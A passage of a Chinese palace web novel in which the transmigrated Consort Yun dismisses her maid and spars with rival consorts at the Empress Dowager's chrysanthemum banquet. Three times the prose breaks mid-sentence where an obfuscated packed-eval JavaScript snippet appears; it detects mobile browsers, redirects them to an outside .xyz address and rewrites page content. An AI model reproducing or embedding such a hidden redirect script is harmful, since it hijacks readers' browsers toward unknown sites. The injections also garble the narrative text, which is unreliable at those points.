她还是不习惯,不习惯这张脸,不习惯自己已经变成了云贵妃,可是,时间久了,她都有点想不起来自己以前长什么样子了。 她有时觉得自己是过去那个云昭昭,有时候又是云贵妃,仿佛这具身体里的灵魂被撕裂成了两半,又合而为一,然后向着故事里既定的剧情走去。 原著里逐月打死了秋儿,现在又是逐月逼死了秋儿,无论如何,逐月是她的女官,所以秋儿的死就是她一手造成的。 透过铜镜,云昭昭仿佛看见镜中那张陌生的脸在对自己笑——她嘲笑她伪善又装模做样,还不如自己恶就恶得痛快彻底,不用那么费力地伪装。 是她自己害死了秋儿。 云昭昭正愧疚着,发间突然传来一阵刺痛,还未等她反应过来,逐月便扑通一声重重跪在地上。 “让娘娘受惊了,奴婢刚才不小心扯到了您的头发。” 她神情紧张,像是生怕惹了云昭昭不快,举手投足之间带着局促,没了之前自信嚣张的劲头。 看来之前那四十大板确实打得不轻。 也是,云昭昭猜也能猜到。以逐月的性子,之前在宫里估计得罪了不少人,现在赶上她受罚,那些报复她的也好,看不惯她落井下石的也好,都会赶着这个难得的机会拼命贿赂行刑的太监。 逐月也是个硬气的,受了这么重的刑罚,被抬着回宫,在流霜给她上药时哪怕疼得咬破了嘴唇,也硬是一声不吭。 这份刮骨疗毒般的倔强让云昭昭起了恻隐之心,她不想再怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108293|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,反正事情已经发生,人已经死了,怪谁都没有用。 她端详着逐月眼下的乌青,关切道:“一根头发而已,姑姑身上的伤还疼吗?” 她换了称呼,不再直呼其名,听上去还多了几分尊敬,但逐月心里却很清楚,这是云昭昭要跟她划清界限呢。 她当即跪下道:“回娘娘,奴婢身子已经不疼了,服侍娘娘绝对没有任何问题。” “是吗?” 云昭昭说着膝盖轻轻挨了一下逐月的腰际,只听她“嘶——”地一声吸气,勉力强撑的膝盖立刻支撑不住。 云昭昭赶紧让汀雪搀扶她,说:“瞧,姑姑你身上的伤还没好完,我这头也绾的差不多了,你下去好好休息吧,别再忙了。” 她话里满是关切,但在逐月听来又是另外一层意思。 “可是娘娘,”她跪地不起道,“等会儿的赏菊宴还得要奴婢陪您同去才行,这宫里其他人您还没见过呢。” “不必了,就算没见过,我也心里有数。”云昭昭说,“就让流霜陪我去,你好好休息。” 逐月还想为自己争取几句,但云昭昭态度十分坚决,没有半分回寰余地。 “是……” 逐月于是神色黯然地退了下去。她头也不抬,走得飞快,像是憋着一股气一样。 流霜看着她离去的身影,有些忐忑地说:“小姐,逐月姑姑好歹也是宫里的老人,你这样冷着她,就不怕她赌气投奔别人宫里?” 云昭昭有心要冷她,不以为意地说:“这有什么?她做错了事,我难道还要把她当座上宾抬举着?我就是要故意冷着她几天。她若是以后还要跟着我,就要压抑着点性子,否则的话,还不如转投他处。” “可你就不怕她去了别处报复你……”流霜有些担忧道。 云昭昭说:“不怕,她和我注定不会是一路人,与其将来爆发更大的矛盾,不如就此好聚好散,而且我的身边留不得会这种随时会背叛我的人,我有你们两个就够了。” 说完她忍不住笑着摸了摸流霜和汀雪的头。 “流霜,今天的赏菊宴,你陪我去。” 云昭昭边说边从妆台旁插花的青花瓷瓶里拣了一支含苞带露的芙蓉,嗅了嗅,淡雅清新的味道让她的心情也跟着轻快了起来。 流霜好奇心重,能够跟着去见世面自然是愿意至极,但她还是忍不住多嘴了一句:“小姐,那汀雪怎么办?” 云昭昭捻着花朵,转身冲汀雪嫣然一笑:“好汀雪,今天就帮我好好盯着逐月,有必要的话也可以安慰安慰她。” 汀雪盯着她愣了一刹那,随后反应过来,不咸不淡地答应道:“是,小姐。” 怕她不快,云昭昭又说:“因为你办事一向稳妥,不像流霜,经常粗心大意,遇到一点小事还总是冒冒失失的。” 流霜嗔道:“说什么呢小姐,敢情你是要看着我才带我!害我白白激动了一场!” “不看着你我能放心吗?那天把我插海棠的花瓶打碎的人是谁?” 汀雪站在一边,看着二人的互动,不发一言。 “下次再带你出去啊汀雪,只有你守家我才放心嘛。”云昭昭跟流霜嬉笑怒骂完后,对汀雪说道。说完为了安抚汀雪,她还顺手将手中那朵芙蓉插在了汀雪头上。 这时,一个不知是哪个宫的小太监来昭阳殿询问云贵妃是否准备妥当,云昭昭这才意识到自己快要迟到了,连忙带着流霜,风风火火地往殿外走。 汀雪站在原地,看着她们两人亲昵地上了软轿,又目送轿子离去,直到消失不见。 她这才摘下头上那朵刚戴上去的芙蓉花苞。 娇弱的花瓣被碾碎,花萼上碧绿的汁液染绿了光洁莹润的指甲缝。 18. 群芳 这赏菊宴因为是太后组的局,所以谁也不敢耽误,云昭昭紧赶慢赶,总算赶在太后之前到了。可尽管这样,她也是众嫔妃中,最后一个到场的。 时下已过了秋分,天高气爽,惠风和畅,宫里的秋意也越发浓了。 太后这宴会的地点选得极好,正好在春波河畔的一处水榭内,这里有着整个御花园,乃至整个京城最好的秋景。 凭栏远望,天高云阔,远山青黛,山尖蹙着一抹微白,山麓间青松如翠,红枫似火,黄叶若蝶,雕梁画栋掩映其间,如同一幅浓墨重彩的山水画卷。春波河则像一条碧蓝的缎带,涓涓流过画面的最前方,成群的白鹭或信步,或惊飞,或嬉戏,宛若一片片在画中飘舞的梨花。 近处的御花园内,虽是入了秋,但依旧有各色海棠、芙蓉、桂花争奇斗妍,论热闹一点儿也不输春夏,不过其中最惹眼的还是水榭外那一盆盆怒放的秋菊。 这些菊花皆是从各地跋涉千里栽植入宫的名贵品种,有的金红夺目,如凤凰展翅一样绚丽,有的娇嫩柔弱,像荷花一样清丽多愁,有的花瓣弯弯,如同一个个金黄的月牙,有的花瓣则如同极细的发丝…… 就连名字也取得甚为喜人,什么凤凰振羽、西湖柳月,什么瑶台玉凤,胭脂点雪,还有诸如玉壶春、绿云、点绛唇之类的……要多风雅有多风雅。 云昭昭宛若刚进入大观园的刘姥姥,一边看得新奇,一边感叹这样程度的展览放在古代要耗费多大的人力物力。 这宫里,连四季的花朵都尚要忙着争奇斗妍,更何况人呢? 很快,她的目光就被水榭里的众美人吸引了。 虽然这个时间节点赵昶后宫的嫔妃并不算多,大部分人她已经烂熟于心,但现在看到真人,个个皆是美女,让她目不暇接,有些对不上号。 正好这时,嫔妃中有人率先开了口。 “瞧,我就说吧,越是后来的越是重量级。咱们早早的到了,在这里巴巴地干等着,像贵妃娘娘这样的,到底是云家这种大户人家出身,虽然姗姗来迟,但却正好是各宫姐妹中最后压轴的。知道的晓得咱们是在赴宴,不知道的,估计还以为是在等着晨昏定省呢。” 说话的这位妃子语气娇娇柔柔的,带着几分俏皮,边说边掩嘴浅笑。但她话中带刺,像是一根根绵密的牛毛针,句句皆是讽刺云昭昭架子大、自以为是,甚至还点明她觊觎后位,若是心大的人听了,反倒会觉得她不是在发难,而是在开玩笑。 云昭昭顺着声音的源头看去,只见说话的这位嫔妃穿一身柔粉色衣裙,生得娇俏美丽,如同一朵粉色的荷花,我见犹怜。她鬓发如云,发间珠围翠绕,一看便是个得宠的。 云昭昭几乎是一眼就确定了她的身份。 她就是户部侍郎之女,纯嫔裴若桑,乃是原书中前期最受赵昶宠爱的妃子。 与云昭昭原身这种直接了当的恶毒黑心莲不同,纯嫔是另一个极端,她表面上活泼开朗,小鸟依人,与谁都能成为“朋友”,背地里却极好落井下石,给人使绊子,是那种传统意义上的绿茶白莲花。因此除了女主易琉璃外,原身在书里最讨厌她,也与她最不对付。 其父裴皓是赵昶登基后一手提拔的朝中新晋红人,短短三年内连升数级,极受赏识。又因为如今的户部尚书年事已高,即将告老,所以很多人相信他便是接任户部尚书的不二人选。 父女俩一个在朝堂春风得意,另一个在后宫圣眷正浓,两人都野心勃勃,是众人竞相巴结的对象。 纯嫔此话一出,身侧另一名妃子立即接过话茬:“裴姐姐,你这就是为难人了。云贵妃一进宫就被禁足抄经,听说今日才被放出来,这都没时间好好在御花园中转过,一时找不到路迟到了也是正常的。” 她话中满是赤1裸的讽刺,云昭昭不用想也知道,这位便是书里与纯嫔交好的李贵人。 她的父亲是京畿小官,因与纯嫔他们裴家有着一层远亲的关系,她在宫里便很自然地成为了纯嫔的跟班,相比纯嫔不动声色的刁难,她的嘲讽则要直白低劣得多。 她在书里表现得心胸狭隘至极,又仗着有点小聪明睚眦必报,凡是被她沾上,就像黏上了狗皮膏药,甩都甩不掉。 云昭昭根本就懒得同她多费口舌,只尽量保持着得体的微笑。 “刚才本宫见这御花园中的秋景甚美,一时着迷,便多欣赏了一会儿,让众位姐妹久等了。” 她说着走到主位右边的次席入座,身旁挨着的一名绯衣嫔妃则开口替她辩护:“李贵人,贵妃娘娘乃云阁老之女,按位份也在在座的诸位姐妹之上,正所谓长幼有序,尊卑有别,我们先到先等也是自然的。” 她的衣着饰品皆算得上华丽,甚至不输得宠的纯嫔,云昭昭估摸她的位份并不低,心里已有了几分猜测。 果然,这名绯衣妃子很熟络地向她自我介绍道:“云姐姐,嫔妾贾珂儿,父亲乃兵部尚书贾尉,您今后直接唤我我珂儿便好。” 如此云昭昭便知道她就是书里的贾贵嫔,而兵部尚书贾尉乃云琛的老搭档了。她冲她和善地点了点头说:“你好呀。” 贾珂儿随后嫣然一笑,忍不住恭维道:“早就听说云姐姐仙姿佚貌,如今得见,果然是神仙般的人儿,陛下真是好福气啊。” “切!” 贾珂儿话音刚落,一声不和谐的嘘声响起,不大不小,但足以让在场每个人都听得清楚。 云昭昭依声望去,只见那名妃子看上去就是一副十分不好惹的模样。这种表情她过去见得多了,放现代职场里,这不就是那种郁郁不得志,万年不得晋升的老油条吗? 再细细端详,见她眉目清秀,也算得上是个美人,只是年纪较在座其余嫔妃大了一些,有了一丝不易察觉的岁月痕迹。 云昭昭猜测出她就是宋修媛,宋允君。 李贵人则恰到好处地印证了云昭昭的猜测,她嚣张地笑着,说道:“咱们是第一次见贵妃娘娘,宋修媛你这样可不好吧……不过想想也是,贵妃娘娘这么漂亮,咱们在座的各宫姐妹也就宋修媛年纪稍长一点,自然心里慌啊。” “你!”宋允君闻言,狠狠地剜了李贵人一眼,又看了一眼云昭昭,最终还是忍住了想说的话,只轻哼一声,就不做声了。 云昭昭冷眼旁观,她知道宋允君乃是赵昶还是太子时候的东宫侍妾,是众嫔妃中资历最老的。其父乃正三品詹士府詹士,是正儿八经的太子嫡系阵营,但由于才疏智浅,以至于十余年来未曾再被提拔,如今反倒被纯嫔的父亲后来者居上,抢了风头。 而宋允君在后宫里的境遇则与她父亲一样,虽然在赵昶心里算是个人,想起她时偶尔会去她那里坐坐,但也仅限如此,混到如今也只是个修媛。 如果不是因为资历老、宋家对赵昶没有功劳也有苦劳,宋允君估计也会跟书里的女主易琉璃境况差不多。她的家室、年纪、容貌均不算出众,脾气也不讨喜,因此连小小的李贵人也敢仗着有纯嫔和裴家撑腰而不把她放在眼里。甚至她曾经的大宫女逐月,如今也成为了昭阳殿的女官。 至此,云昭昭就算是把赵昶后宫里的嫔妃们认得差不多了。 剩下还未说过话的三人,坐在主位下首左边的那位,穿一袭淡蓝色华服,纤秾合度,温文尔雅,便是独孤旻老将军之女,晴妃独孤晴;挨在她后面的那名绿衣妃子,眉宇间一股英气,好奇地打量着云昭昭,应该就是霍婕妤了,她的胞弟乃礼部侍郎霍纪安,算是云琛门生中的得意之人。 最后剩下的那位,坐在水榭最不起眼的角落里,穿着一身鹅黄色衣裳的,便是原书中的女主,易琉璃了。 云昭昭的目光越过众嫔妃,最终定格在了她的身上。 因为秋儿的死,她见到易琉璃难免有些过意不去,她抱歉地冲她笑笑,结果收到了对方惊恐的目光。 易琉璃与她想象中的样子完全不同。 至少不像是个拿着言情爽文剧本的女主该有的样子。 书里说她长相温婉可人,属于越看越耐看的类型,但在云昭昭看来,她似乎有些不自信,因此坐在一众出身名门的嫔妃之中的她更是有一种上不了台面的小家子气。 书里说她性格佛系随和,不争不抢,但在云昭昭看来,她那睁着一双圆乎乎的杏眼,胆怯地不敢注视自己的模样,像极了一只随时都会受惊逃走的兔子。 至于书里描述的她的坚韧,她现在更是一丁点儿都看不出来。 云昭昭突然有些泄气和懊恼,她没想到自己穿越到云贵妃身上,要处处提防、随时小心的所谓的“对照组对手”,竟然是这么一个柔弱的女子。 似乎是感觉到她眼中的失望,易琉璃不安地动了一下,用蚊蝇般的声音叫了一声:“贵妃娘娘……” 很快,在场众嫔妃都注意到了云昭昭一直在盯着易琉璃看。 纯嫔裴若桑笑着对云昭昭说:“贵妃娘娘真是好眼光啊,那就让嫔妾斗胆向娘娘介绍一下吧,这位便是翠微宫的易常在。” 她说完又似是无意地补充了一句:“娘娘尚在昭阳殿,有所不知,自从陛下那天翻了易常在的牌子以后,连续七日都宿在了翠微宫呢,然后前日和昨日,又连续两日去了易常在那里,连嫔妾都有些嫉妒了,如今易常在也是咱们中的红人了。” 她话里话外明显别有意图,哪壶不开提哪壶,却又说得圆满,将云昭昭的禁足说成是“尚在昭阳殿”,最后哪头都不得罪。倒是易琉璃涨红了一张脸,坐立不安地坐在位置上,看上去十分尴尬。 云昭昭心里冷笑,这不就是想要激怒自己吗? 只可惜如今住在这幅身体里的灵魂,早就不是当初那个云贵妃了。 她甚至完全可以想象,以原身那种直来直去的火爆脾性,在这种时候绝对会被裴若桑话里递过来的软刀子给激怒。 不过现在换成是自己,裴若桑可要失望了。 只不过过她这时还不急着还击,只是冲裴若桑微微一笑道:“是吗?看得出纯嫔确实有些嫉妒易常在啊,否则怎么会对陛下留宿翠微宫的日子这么在意?” 裴若桑被揭了底,有些抹不开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108294|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面子,“贵妃娘娘您可真会说笑,这不是咱们宫里姐妹们都知道的吗?大家共同侍奉陛下,一心想着陛下,又有谁能不在意呢?” 她说完用帕子轻轻遮面,抿了一口菊花茶,又道:“嫔妾只是想着娘娘在昭阳殿里,可能信息有些滞后,想提醒一下罢了,没想到嫔妾一片好心办了坏事,凭空让娘娘误会了。是嫔妾多有疏漏。” 她这样以退为进,又把球踢回了云昭昭这边。 云昭昭深知,自己要是再抓着她不放,反倒显得自己真成了书里原身的样子,心眼狭小,苛责其他嫔妃。 好一朵出淤泥而不染的白莲花啊,永远让自己处于被欺负的不败之地。云昭昭可给恶心坏了。 过去在职场上,她就是个不会让自己轻易吃亏的人,别人待她好,她会待别人更好,别人给她使绊子,她会变本加厉地还回去。 既然裴若桑说自己“好心办了坏事”,那就休怪她以其人之道还治其人之身。 云昭昭遍观满桌糕点,当即夹了块猪油糕放在裴若桑面前的小碟中,她看书得知她向来不喜甜食,而且如果这里的剧情与原书同步,那纯嫔此时应该已经有了身孕,只不过她月份尚小,胎还不稳,便一直瞒着所有人。 这猪油糕入口虽不算太油腻,但已经是桌上含糖含油最高的点心了。对于尚有早孕反应的纯嫔来说,自然够她喝一壶的了。 “害,这怎么能怪纯嫔呢,还多亏你提醒我呢。”云昭昭大大方方,态度爽朗,“来,这个特别特别好吃,本宫过去有幸尝过,就当谢谢纯嫔的好意了。” 果然,裴若桑见到碟中之物,脸上的笑容一下子僵在那里,她吃也不是,不吃也不是,一时有些尴尬。 云昭昭心里别提有多爽了,她笑道:“怎么,这可是尚食局做的,肯定好吃,而且也安全,纯嫔可别不给本宫面子啊。” 霍婕妤也来落井下石地附和:“是啊,纯嫔姐姐,这应该是贵妃娘娘入宫后第一次赏人东西吧,这样好的福气都落到了你的头上。” 裴若桑看了霍婕妤一样,微微闪动的眸光中藏着恨意,她不是像云昭昭原身那种心里不爽就立刻要发作、要释放的人,为了避免落人口舌,便只好委委屈屈地夹起一块猪油糕,忍着胃里翻江倒海的恶心,慢慢吞吞、小口小口地咬着吃了。 云昭昭看得心花怒放,头一次体会到书里恶毒女配的快乐。 “纯嫔妹妹可要全部吃下去啊,你这么瘦,多补充点糖分,丰腴点才好看。” 裴若桑忍得辛苦,眼里甚至有了泪花,但末了还是装模作样舔了舔嘴唇,假意笑道:“谢谢贵妃娘娘。” 云昭昭十分受用,她装她也装,于是她热情洋溢地又夹了一块更大的猪油糕给纯嫔。 “是吧?我就说很好吃的嘛,来来来,再来一块。” 裴若桑不好拒绝,只好又硬着头皮,将第二块猪油糕,连嚼都不嚼,囫囵地咽了下去。艰难咽下最后一口时,她的脸色已经十分难看,见云昭昭还要给她夹,吓得脸都绿了,眼泪一下子流了出来。 “娘娘,嫔妾吃饱了,也不好再独食,还是让其他姐妹们也尝尝吧。” 云昭昭简直乐不可支,要不是必须保持形象,她估计现在已经笑得跑桌子底下去了。 既然目的已经达到,云昭昭便见好就收,她当即表示遗憾,转而让其他嫔妃也尝尝那盘糕点。不过介于裴若桑刚才的脸色,大家都像约定好了似的绕开了那盘猪油糕,导致那盘猪油糕直到宴会结束都没再被动过一下。 在等待太后前来的空当里,大家继续或真或假,有一搭没一搭地寒暄着。 云昭昭敏锐地发现,这书里的世界,不仅前朝以赵昶为首的新帝一党与云琛一党间斗争激烈,甚至连这后宫的嫔妃间也是如此。 后宫中为数不多的这几位嫔妃,以各自家族的立场为背景,也自动分成了泾渭分明的两派。 一边以纯嫔裴若桑为首,李贵人无脑附和她,宋修媛虽然表面向着纯嫔,可似乎又与她不和,而另一边的贾贵嫔与霍婕妤倒是很自然向着自己说话,但霍婕妤态度上又对自己有所戒备,如此一来,两边竟形成了一种十分微妙的平衡。 唯独剩下了易琉璃与晴妃独孤晴二人。 云昭昭看过原书,知道易琉璃是个佛系与世无争的,不属于任何一边,其父佥都御史易安国是朝中的老好人,虽向着赵昶,但实际上两边他都不敢轻易得罪。 那么独孤晴呢? 她的父亲独孤旻老将军,在这场新帝与老臣的角逐中,不属于任何一方,是朝中极少数的中立派。如果说云琛乃当今文官中的翘楚的话,那么独孤旻便是武将中的第一人。他战功赫赫,一心为国,是当年平定南海倭寇与武安侯叛乱的第一大功臣,因此,他才能在如今这种局势之下独善其身。 而独孤晴,在刚才暗流涌动的寒暄中,似乎也像她的父亲那样,不偏不倚。 云昭昭有些琢磨不透她。 她正寻思着,随着水榭外面太监的一声通报,太后到场了。 19. 争锋 众嫔妃连忙停止交谈,当即都规规矩矩起身迎接太后的到来。 太后今日打扮得还是同往常那样素净清淡,她和善地让大家坐下,从最边上的易琉璃起头,从右往左,一一关心大家的近况。 轮到云昭昭的时候,想到自己前脚收了太后的簪子后脚就闹出了秋儿那事,云昭昭不免有些过意不去。 她诚恳道:“娘娘,都怪臣妾管教下人不利,才出了那样的事儿,让易常在受惊。” 太后并没有责备她,只是淡淡道:“罢了,你当时才刚入宫,什么管教不管教的。” “但逐月怎么说也是昭阳殿的女官,臣妾无论如何都有责任,”云昭昭道,“往后,臣妾定会好好约束她,明日臣妾就让她专程去向易常在赔个不是。”她说完冲易琉璃轻轻地点了点头。 太后一边喝着菊花茶,一边将两人的这一点儿互动看在眼里,她点头道:“你有这份心已是很好,这件事情,哀家后来也找人详细了解过,就是一场误会。逐月挨了板子,你也受了罚,秋儿那丫头也是个福气薄想不开的,回头就让你父亲出钱,将她好好葬了便是。” “谢太后娘娘谅解。”云昭昭道。 接着易琉璃也出来小心翼翼、怯生生地表了个态。 这件事眼看就要这样被揭过,一旁的李贵人再也坐不住了,刚才见纯嫔吃了哑巴亏,她一直都想替她找回场子,眼下怎么可能放过这个机会。 于是她又旧事重提,不依不饶道:“太后娘娘,对这件事,嫔妾尚有疑虑。” “哦?李贵人,你说。”太后狐疑地看着她。 李贵人说:“太后娘娘,嫔妾就是想不明白。那逐月是云贵妃身边的女官,可那去世的秋儿也是易常在身边的女官。按我朝律法,杀人就要偿命,怎么到云贵妃这里,逐月就只用挨一顿打就行了呢?” “李贵人,逐月那天早就同本宫回宫了,你怎么就一口咬定人是她杀的呢?”云昭昭反问道。 逐月性子暴烈,她现在越发庆幸没把她带来,否则被李贵人这么一质疑,又会闹得鸡飞狗跳。 “李妹妹,”裴若桑这时可怜兮兮地小声制止道,“你就少说两句吧,云贵妃娘娘是和善的人,想来也不会眼睁睁地让秋儿姑娘送死的。” 她面上一副担心大家吵起来的样子,但说出来的话却又像在指着云昭昭没有看好秋儿,巴巴地盼着她死。 果然,李贵人更激动了,她义愤填膺道:“裴姐姐,你可别拦着我,我就是要说!就算秋儿不是逐月亲手杀的,但也是因为被她欺负了想不开才跳河的!多么忠心的一个姑娘啊,就这么平白地被人欺负死了,云贵妃的人却不用偿命,难道就因为她姓云?” 她此话一出,全场哗然。 云昭昭心里冷笑,秋儿一介小宫女,活着的时候无人在意,可一死了,就凭空多了几个替她打抱不平的贵人来。 太后闻言也皱起了眉头,示意道:“李贵人!” 但李贵人明显还在为自己的“英勇壮举”而自我感动,她自顾自地说:“太后娘娘,嫔妾只是替那秋儿不值,想为她讨回一个公道。否则今天死的是易常在的宫人,明天说不定就要轮到嫔妾的宫人,那再后天,是不是就要轮到嫔妾了?这后宫里,明显有一个杀人的刽子手啊!” “李贵人!”太后大怒,当即喝止道,“你知不知道自己在说什么?” 说着她狠狠地将手中的菊花茶摔在了地上,只听见“啪”的一声脆响,那珍贵的青瓷茶盏一下子摔得粉碎。 李贵人本来还有些洋洋得意,听到这一声响,登时浑身一个激灵,脑子清醒了过来。 太后一向都是个慈眉善目,好脾性的人,如今因为她的话如此动怒,李贵人吓坏了,赶紧跪下道:“哎呀,娘娘,太后娘娘,嫔妾刚才是气坏了,一时糊涂,才口不择言。” 她立马啪啪抽了自己两耳光,流下泪来,“都怪嫔妾这张嘴啊!可嫔妾没有坏心,依我朝律法……” 她还未说完,裴若桑便狠狠地剜了她一眼,李贵人赶紧收声了。 太后厉声问道:“在座的都是当主子的人,怎么还自贬身份,把自己当下人了?” 她说着扫了一眼在座的嫔妃,以不容置喙的语气凛然道:“行了,到此为止,此事不许再提。都是陛下的女人,一个宫里就该和和气气的,有什么误会尽早解开才是。哀家今天把大伙儿叫到这里,一来是见秋色正好,菊花开得正艳,二来呢,则是因为今日是晴儿的生辰,可不是让你们在这里争锋吵架的。” 太后此话一出,众人都惊讶地看向独孤晴。 独孤晴则笑了笑,谦虚道:“娘娘,臣妾的生辰算不得什么,不提也罢。只是因为这次难得贵妃娘娘入宫,宫里更热闹了,臣妾就想借着这个机会把大家聚在一起高兴高兴。这不,还得借着太后娘娘的面子才行嘛!” 她这一番话说得甚是得体,令太后十分满意,脸上的怒火也消了不少。她点点头,轻轻地拍着独孤晴的手背,道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108295|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你这孩子,就光顾着替别人着想了,偶尔也多想想自己呀。你们独孤家满门忠烈,你爹如今也年事已高,就剩你一个独苗在宫里,你还是早点让他抱上孙子吧。” 独孤晴被太后这么一说,立马羞得红了脸,当场轻声嗔怪道:“娘娘!” 现场剑拔弩张的氛围被这么一打趣,一下子轻松了不少。李贵人彻底老实了,其他人更是不敢轻易惹恼太后,众人便又回到了原本那种微妙的平衡中,表面和谐地唠着不痛不痒的家常。 很快,独孤晴提出大家来玩射覆游戏的提议。 云昭昭眼睛一亮,心道,来了来了。 她纯粹是因为知道后面会发生什么,想吃瓜看戏,才这么激动的。 而其他嫔妃,果然都兴致缺缺,有人甚至当场反对。 “我听说,这个游戏要靠术数卜卦隔空猜物,我们怎么会那些下三滥的玩意儿。” 独孤晴解释道:“宋姐姐,您常在宫里有所不知,这射覆游戏虽然起源如此,但如今早已是文人雅士酒桌上的风雅之好了,也不用占卜之术,只需要覆物那人想一句包含所覆之物的诗文,但不能将诗句全说出来,要以诗中另一物作为谜题,让射物一方来猜,同样的,也要回一句包含所覆之物的诗文,以诗中另一物作为应答……” “这也太难了,”贾珂儿说,“晴姐姐,谁不知道你是出了名的才女,这游戏对你来说不算什么,可妹妹我读书的时候那些诗啊词啊,早就还给先生了。” “是啊是啊。” 就连太后也说:“晴丫头,这个游戏让哀家想起了年轻的时候,可你这规则确实难为大伙儿了。” “陛下他们平时都是这么玩的,”晴妃莞尔道,“那这样吧,我们就简单一些,等会儿抽签分成两人一组,一个人将自己身上或身边的一样东西藏着,让另一人来猜,覆的人可以回答对方三个问题,猜的人猜对便可找对方讨要一个彩头,如何?” “这个好,便依你所言吧。” 太后点点头道。她兴致勃勃,一锤定音,众人就算再不情愿,也纷纷强打起精神作陪。 正在这时,不远处果然同原书中的剧情一样,传来了赵昶的声音。 “你们在玩什么,难得见母后这么好的兴致。” 片刻后,赵昶风尘仆仆地出现在水榭里,只是他并非如原书中一般只身前来,而是身边跟着几人。 走在最前面的则是云昭昭最最不想见到的人。 武安侯周徵。 20. 所属 周徵同云昭昭上次遇见时一样,身着劲装,冷着一张脸,看见云昭昭时,他的瞳孔猛然一收,然后瞪了她一眼,带着微微的怒意。 云昭昭:“……” 这人有病吧,拽什么拽,当谁稀罕看他似的,随时摆着张臭脸,真晦气。 她也狠狠地回瞪了他一眼,然后向其他人看去。 后面那几人都是太监,看装束应当是司礼监中的人,队内为首一人品阶不低,最后那人则一副低眉顺眼的样子,倒让云昭昭觉得十分熟悉,好像前几天才见过,只是一时想不起来了。 而赵昶今日则穿了一件紫金雁翎锁子甲,看样子是刚同周徵从五军营的方向回来,正好路过此地。他一招手,随身的太监为他褪去铠甲,套上暗金绣龙纹的玄色常服。 “朕近来政事缠身,未能及时给母后请安。今日同明彰从宫外回来,路过御花园,想起母后今日在此设了宴,这不,便想着过来看看。” “不打紧,哀家一介妇人,哪有朝中之事要紧。”太后语气淡淡的,说罢便命人为赵昶和周徵设座。 “今儿个是晴儿的生辰,秋色又正好,大家难得一聚,正准备射覆呢。” 赵昶点点头,同身边那名司礼监的太监吩咐道:“汪厚,去,把上个月缅甸使者进献的那一只透冰的紫罗兰翡翠手镯拿过来,就当赏晴妃的生辰礼了。” “不错,紫罗兰温婉莹润,似静水深流,哀家也觉着那镯子与晴儿的性子甚搭。”太后认同道。 那冰种紫罗兰手镯千年难遇,不少人心里羡艳却不敢表现,独孤晴则落落大方,面色如常地受了赏。 她看上去清清淡淡,如一株盛开在空谷的幽兰,举手投足之间难掩书卷气,自有一番文士的风流与雅致,一点儿也不像武将之女。 赵昶赏赐完后兴致勃勃道:“行了,朕登基以来,也许久未曾玩这射覆了,甚是怀念,今日午后正无其他要事,便也算朕一个吧。” 他一说完,水榭中的空气一下子躁动起来,除了云昭昭、易琉璃以及独孤晴没什么变化外,其余几位刚才无精打采、怏怏欲睡的嫔妃立刻不约而同地坐直了身子。 周徵眉头动了动,眼中闪过一丝疲惫,他朝赵昶与太后抱了个拳,躬身道: “陛下,太后,既如此,臣这便告辞了。”说着便要识趣地离开。 但赵昶却叫住了他,笑着说:“不必,明彰,你也来。” 云昭昭一听,原本轻松的心里一下子有了一种不祥的预感,靠在椅背上的身体不自觉地绷了起来。 周徵愣了一下,推辞道:“此为陛下的后宫家宴,臣乃外臣,于情于理都有些不妥,请陛下恕臣失陪之罪。” 见周徵当着这么多人的面拂了他的面子,赵昶有些不爽。 “什么外臣,既然是朕的家宴,朕说了算,朕让你来,你就得来!” 连太后也叫住他:“明彰,既然陛下都这样说了,你还推辞什么。你从小被昭明太后收养在宫内,与陛下一同长大,本就应该情同手足,这些年陛下成了家纳了妃,你光顾着避嫌,却反而同我们生分了。” 太后的语气很柔和,话却说得极重,就快说周徵忘恩负义了。 周徵像被钉在了原处似的,还在做着最后的挣扎。 “可是……臣刚刚数了一遍,诸位娘娘加上太后娘娘陛下,正好不多不少十个人,若臣再加入,便多了。” “这有什么?”赵昶指着司礼监掌印太监汪厚道,“汪厚,你也来。” 汪厚笑眯眯地道:“是,只要陛下娘娘们高兴,老奴这就作陪便是。” 赵昶意味深长地看着周徵,意思是看看别人再看看你,语气有些愠怒:“现在正好十二个人了,也不止你一个外臣了,周徵,朕再问你一遍,你来还是不来?!” “是,陛下。”周徵拗不过他,只好目不斜视地坐到他身侧的空位上,脸上没有任何多余的表情。 人数彻底确定后,独孤晴又介绍了一遍规则,然后冲司礼监掌印太监汪厚道:“汪公公,您是陛下身边的人,最为公正,可否请您命人来准备等会儿抽签的木牌?” 汪厚笑呵呵地说:“晴妃娘娘,老奴也得作陪,不能亲自为娘娘陛下分忧,这样吧,就让老奴的干儿子汪海去办,这小子机灵,办事也还算利索。” 